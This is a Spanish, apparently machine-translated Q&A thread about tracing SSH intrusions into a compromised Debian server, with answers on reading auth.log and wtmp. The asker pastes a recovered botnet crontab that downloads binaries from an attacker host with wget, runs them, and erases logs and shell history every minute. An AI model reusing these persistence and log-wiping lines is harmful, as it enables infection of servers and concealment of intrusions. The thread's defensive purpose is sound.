Historial de direcciones IP que accedieron a un servidor a través de ssh

Me ha llamado la atención que un servidor mío ha sido pirateado e infectado con una conocida red de bots china.

Era un prototipo / máquina virtual de prueba con su propia IP estática (dirección de EE. UU.), Por lo que no se causó ningún daño (solo me llevó un tiempo descubrirlo).

Ahora me gustaría saber qué IP / s se utilizó para la intrusión para saber si el ataque se originó en China.

¿Hay alguna manera de ver un historial de conexiones recibidas en ssh en el servidor?

Editar: El sistema es Linux Debian 7

Mire la salida del lastcomando y cualquier cosa con una dirección IP o nombre de host en lugar de un espacio en blanco entró por la red. Si sshdes la única forma de hacerlo en este sistema, entonces ahí lo tienes.

Alternativamente (si se trata de Linux), puede verificar /var/log/secure(en distribuciones basadas en RH) o /var/log/auth.log(en distribuciones basadas en Debian) dónde sshdgeneralmente se realizará un seguimiento de las conexiones realizadas, incluso si no dan como resultado inicios de sesión exitosos (que impacta utmp/ wtmp, que es lo lastque leerá de). Ejemplo:

Apr  3 16:21:01 xxxxxxvlp05 sshd[6266]: Connection closed by xxx.xxx.13.76
...
Apr  3 09:09:49 xxxxxxvlp05 sshd[26275]: Failed password for invalid user __super from xxx.xxx.13.76 port 45229 ssh2

IIRC Solaris sshd(que puede no ser necesariamente OpenSSH sshd) registrará esta información en/var/adm/messages

EDITAR:

@derobert hace un excelente punto. Es importante recordar que en cualquier sistema, si su cuenta de superusuario se ve comprometida, entonces todas las apuestas están canceladas, ya que el atacante puede modificar /var/log/wtmpo /var/adm/messagesmodificar los archivos de registro . Esto puede mitigarse si empuja los registros fuera del servidor a una ubicación segura.

Por ejemplo, en una tienda en la que solía trabajar teníamos una máquina "Audit Vault" que estaba asegurada para recibir solo los archivos de registro de auditoría de los distintos servidores en el centro de datos. Recomendaría tener una configuración similar en el futuro (ya que "Tengo una máquina de prueba" parece que estás operando en una tienda grande)

¿Hay alguna manera de ver un historial de conexiones recibidas en ssh en el servidor?

Esto debería darte una lista:

$ zgrep sshd /var/log/auth.log* | grep rhost | sed -re 's/.*rhost=([^ ]+).*/\1/' | sort -u

Luego puede usar geoiplookupel geoip-binpaquete para ir del nombre de host o la dirección IP al país.

Bueno, como se esperaba, y como dijo @Joel Davis, se borraron todos los registros, pero hubo un archivo que @Ramesh mencionó que tiene algunos intentos de acceder al usuario raíz pero no ingresó la contraseña correcta varias veces, luego la desconexión para demasiados reintentos.

Ejecuté un traceroute en tres de las direcciones y dos son de China y el otro es de Pakistán; Estas son las IP:

221.120.224.179
116.10.191.218
61.174.51.221

Más información sobre la botnet que se inyectó en el servidor después de que se vio comprometida:

Los hackers editan crontab para ejecutar 7 ejecutables que, cada x cantidad de tiempo, usarán toda la CPU, maximizarán la salida de red de los servidores y luego simplemente morirán. También agregan el archivo Léame al crontab 100 veces para ocultar las líneas agregadas, de modo que cuando lo haga crontab -l, el archivo Léame le enviará correo no deseado con líneas ocultas. Para evitar esto, usé crontab -l | grep -v '^#'y aquí está la salida de ese comando:

*/1 * * * * killall -9 .IptabLes
*/1 * * * * killall -9 nfsd4
*/1 * * * * killall -9 profild.key
*/1 * * * * killall -9 nfsd
*/1 * * * * killall -9 DDosl
*/1 * * * * killall -9 lengchao32
*/1 * * * * killall -9 b26
*/1 * * * * killall -9 codelove
*/1 * * * * killall -9 32
*/1 * * * * killall -9 64
*/1 * * * * killall -9 new6
*/1 * * * * killall -9 new4
*/1 * * * * killall -9 node24
*/1 * * * * killall -9 freeBSD
*/99 * * * * killall -9 kysapd
*/98 * * * * killall -9 atdd
*/97 * * * * killall -9 kysapd
*/96 * * * * killall -9 skysapd
*/95 * * * * killall -9 xfsdx
*/94 * * * * killall -9 ksapd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd
*/120 * * * * cd /root;rm -rf dir nohup.out
*/360 * * * * cd /etc;rm -rf dir atdd
*/360 * * * * cd /etc;rm -rf dir ksapd
*/360 * * * * cd /etc;rm -rf dir kysapd
*/360 * * * * cd /etc;rm -rf dir skysapd
*/360 * * * * cd /etc;rm -rf dir sksapd
*/360 * * * * cd /etc;rm -rf dir xfsdx
*/1 * * * * cd /etc;rm -rf dir cupsdd.*
*/1 * * * * cd /etc;rm -rf dir atdd.*
*/1 * * * * cd /etc;rm -rf dir ksapd.*
*/1 * * * * cd /etc;rm -rf dir kysapd.*
*/1 * * * * cd /etc;rm -rf dir skysapd.*
*/1 * * * * cd /etc;rm -rf dir sksapd.*
*/1 * * * * cd /etc;rm -rf dir xfsdx.*
*/1 * * * * chmod 7777 /etc/atdd
*/1 * * * * chmod 7777 /etc/cupsdd
*/1 * * * * chmod 7777 /etc/ksapd
*/1 * * * * chmod 7777 /etc/kysapd
*/1 * * * * chmod 7777 /etc/skysapd
*/1 * * * * chmod 7777 /etc/sksapd
*/1 * * * * chmod 7777 /etc/xfsdx
*/99 * * * * nohup /etc/cupsdd > /dev/null 2>&1&
*/100 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/99 * * * * nohup /etc/atdd > /dev/null 2>&1&
*/98 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/97 * * * * nohup /etc/skysapd > /dev/null 2>&1&
*/96 * * * * nohup /etc/xfsdx > /dev/null 2>&1&
*/95 * * * * nohup /etc/ksapd > /dev/null 2>&1&
*/1 * * * * echo "unset MAILCHECK" >> /etc/profile
*/1 * * * * rm -rf /root/.bash_history
*/1 * * * * touch /root/.bash_history
*/1 * * * * history -r
*/1 * * * * cd /var/log > dmesg 
*/1 * * * * cd /var/log > auth.log 
*/1 * * * * cd /var/log > alternatives.log 
*/1 * * * * cd /var/log > boot.log 
*/1 * * * * cd /var/log > btmp 
*/1 * * * * cd /var/log > cron 
*/1 * * * * cd /var/log > cups 
*/1 * * * * cd /var/log > daemon.log 
*/1 * * * * cd /var/log > dpkg.log 
*/1 * * * * cd /var/log > faillog 
*/1 * * * * cd /var/log > kern.log 
*/1 * * * * cd /var/log > lastlog
*/1 * * * * cd /var/log > maillog 
*/1 * * * * cd /var/log > user.log 
*/1 * * * * cd /var/log > Xorg.x.log 
*/1 * * * * cd /var/log > anaconda.log 
*/1 * * * * cd /var/log > yum.log 
*/1 * * * * cd /var/log > secure
*/1 * * * * cd /var/log > wtmp
*/1 * * * * cd /var/log > utmp 
*/1 * * * * cd /var/log > messages
*/1 * * * * cd /var/log > spooler
*/1 * * * * cd /var/log > sudolog
*/1 * * * * cd /var/log > aculog
*/1 * * * * cd /var/log > access-log
*/1 * * * * cd /root > .bash_history
*/1 * * * * history -c

Como puede ver, todos los archivos de registro se borran, es por eso que no pude recuperar mucha información.

Derribó todo el servidor (todas las máquinas virtuales) causando tiempos de espera en los sitios y en proxmox. Aquí hay un gráfico (los picos denotan que la botnet DDoS'ing activa y notan la salida de la red):

Como resultado, agregaré todo el rango de direcciones IP chinas a un cortafuegos para bloquear todas las conexiones (no tengo ningún usuario chino, así que no me importa), también rechazaré los inicios de sesión remotos y usaré complejos largos contraseñas Lo más probable es que también cambie el puerto ssh y use también claves privadas ssh.

De esta respuesta, veo la siguiente información.

Hablando de servidores SSH, te daré soluciones de línea de comandos.

Realizar un seguimiento de los inicios de sesión de usuario y cierres de sesión . Eso es fácil, el archivo /var/log/auth.logdebe tener esta información.

Rastree la actividad de esos usuarios : si son algo inocentes, puede consultar el archivo .bash_historyen su directorio de inicio. Verá una lista de los comandos que ejecutaron. El problema es, por supuesto, que pueden eliminar o editar este archivo.

Evitar que los usuarios eliminen registros : los usuarios no deberían poder tocar auth.log. Para evitar que jueguen, bash_historydebes hacer un par de trucos.

¿Qué pasa si el usuario logra obtener acceso de root? : Estás jodido. A menos que cometa un error, podrá ocultar todos sus pasos.

Además, a partir de esta respuesta, podemos ver la dirección IP de un cliente que usa la SSH_CLIENTvariable.

También de esta respuesta, veo que el historial ssh podría almacenarse en estos archivos.

Además de /var/log/lastlog, hay 3 archivos en /var/runy /var/log: utmp, wtmpy btmp, que contienen información sobre los inicios de sesión actual (y información adicional), histórica y los inicios de sesión fallidos. Ver wiki para una descripción detallada. No puede editar los archivos con editores normales, pero podría borrarlos.

El comando más simple para que los últimos 10 usuarios inicien sesión en la máquina es last|head.

Para obtener todos los usuarios, simplemente use el lastcomando

Esta máquina ha sido comprometida. Esto significa que ya no se puede confiar en los datos, históricos o actuales.

En resumen, la respuesta es no. No puede estar seguro de haber encontrado la dirección de origen de cualquier archivo de registro registrado en esta máquina.

Limpie y vuelva a instalar. Y parche.

Para ver solo intentos exitosos de inicio de sesión con contraseña:

zgrep sshd /var/log/auth.log* -h |grep -F 'Accepted password for'

para Debian, la búsqueda de prueba está redactada ligeramente diferente

zgrep sshd /var/log/auth.log* -h |grep -F 'session opened for user'